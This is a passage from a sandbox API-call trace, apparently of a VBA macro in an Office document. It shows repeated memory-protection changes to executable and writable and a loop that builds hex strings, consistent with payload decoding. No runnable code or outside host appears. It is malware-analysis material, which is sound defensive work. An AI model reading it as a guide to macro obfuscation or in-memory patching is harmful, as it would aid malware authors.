(hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0106.656] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.661] GetCurrentProcess () returned 0xffffffff [0106.661] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0106.662] GetCurrentProcess () returned 0xffffffff [0106.662] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0106.662] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.668] GetCurrentProcess () returned 0xffffffff [0106.668] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0106.669] GetCurrentProcess () returned 0xffffffff [0106.669] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0106.669] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.673] GetCurrentProcess () returned 0xffffffff [0106.673] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0106.673] GetCurrentProcess () returned 0xffffffff [0106.674] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0106.674] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.677] GetCurrentProcess () returned 0xffffffff [0106.677] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0106.678] GetCurrentProcess () returned 0xffffffff [0106.678] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0106.678] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.690] GetCurrentProcess () returned 0xffffffff [0106.691] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0106.691] GetCurrentProcess () returned 0xffffffff [0106.691] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0106.691] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.696] GetCurrentProcess () returned 0xffffffff [0106.696] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0106.696] GetCurrentProcess () returned 0xffffffff [0106.769] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0106.769] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.770] GetCurrentProcess () returned 0xffffffff [0106.770] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0106.770] GetCurrentProcess () returned 0xffffffff [0106.770] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0106.770] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.771] GetCurrentProcess () returned 0xffffffff [0106.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0106.771] GetCurrentProcess () returned 0xffffffff [0106.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0106.771] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.771] GetCurrentProcess () returned 0xffffffff [0106.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0106.771] GetCurrentProcess () returned 0xffffffff [0106.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0106.771] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.772] GetCurrentProcess () returned 0xffffffff [0106.772] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0106.772] GetCurrentProcess () returned 0xffffffff [0106.772] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0106.772] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.773] GetCurrentProcess () returned 0xffffffff [0106.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0106.773] GetCurrentProcess () returned 0xffffffff [0106.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0106.773] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.773] GetCurrentProcess () returned 0xffffffff [0106.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0106.773] GetCurrentProcess () returned 0xffffffff [0106.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0106.773] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.774] GetCurrentProcess () returned 0xffffffff [0106.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0106.774] GetCurrentProcess () returned 0xffffffff [0106.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0106.774] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.775] GetCurrentProcess () returned 0xffffffff [0106.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0106.775] GetCurrentProcess () returned 0xffffffff [0106.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0106.775] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.776] GetCurrentProcess () returned 0xffffffff [0106.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0106.776] GetCurrentProcess () returned 0xffffffff [0106.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0106.776] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.777] GetCurrentProcess () returned 0xffffffff [0106.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0106.777] GetCurrentProcess () returned 0xffffffff [0106.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0106.777] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.777] GetCurrentProcess () returned 0xffffffff [0106.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0106.777] GetCurrentProcess () returned 0xffffffff [0106.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0106.777] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.778] GetCurrentProcess () returned 0xffffffff [0106.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0106.778] GetCurrentProcess () returned 0xffffffff [0106.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0106.778] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.779] GetCurrentProcess () returned 0xffffffff [0106.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0106.779] GetCurrentProcess () returned 0xffffffff [0106.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0106.779] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.780] GetCurrentProcess () returned 0xffffffff [0106.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0106.780] GetCurrentProcess () returned 0xffffffff [0106.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0106.780] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.780] GetCurrentProcess () returned 0xffffffff [0106.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0106.780] GetCurrentProcess () returned 0xffffffff [0106.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0106.780] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.781] GetCurrentProcess () returned 0xffffffff [0106.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0106.781] GetCurrentProcess () returned 0xffffffff [0106.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0106.781] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.782] GetCurrentProcess () returned 0xffffffff [0106.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0106.782] GetCurrentProcess () returned 0xffffffff [0106.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0106.782] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.782] GetCurrentProcess () returned 0xffffffff [0106.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0106.782] GetCurrentProcess () returned 0xffffffff [0106.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0106.782] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.783] GetCurrentProcess () returned 0xffffffff [0106.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0106.783] GetCurrentProcess () returned 0xffffffff [0106.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0106.783] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.784] GetCurrentProcess () returned 0xffffffff [0106.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0106.784] GetCurrentProcess () returned 0xffffffff [0106.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0106.784] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.784] GetCurrentProcess () returned 0xffffffff [0106.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0106.784] GetCurrentProcess () returned 0xffffffff [0106.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0106.784] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.785] GetCurrentProcess () returned 0xffffffff [0106.785] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0106.785] SetErrorMode (uMode=0x8001) returned 0x8001 [0106.785] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0106.785] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0106.786] SetErrorMode (uMode=0x8001) returned 0x8001 [0106.786] GetProcAddress (hModule=0x693e0000, lpProcName=0x234) returned 0x695bb15f [0106.787] GetAsyncKeyState (vKey=3) returned 0 [0106.798] GetAsyncKeyState (vKey=3) returned 0 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.798] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.799] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.800] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.800] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.800] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.800] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.800] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.800] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.800] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.800] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.800] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.800] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.801] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.801] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.801] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.801] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.801] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.801] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.801] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.802] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.802] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.802] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.802] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.802] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.802] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.802] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.802] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.803] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.803] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.803] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.803] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.803] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.803] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.803] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.803] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.804] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.804] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.804] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.804] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.804] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.804] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.804] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.804] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.805] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.805] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.805] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.805] 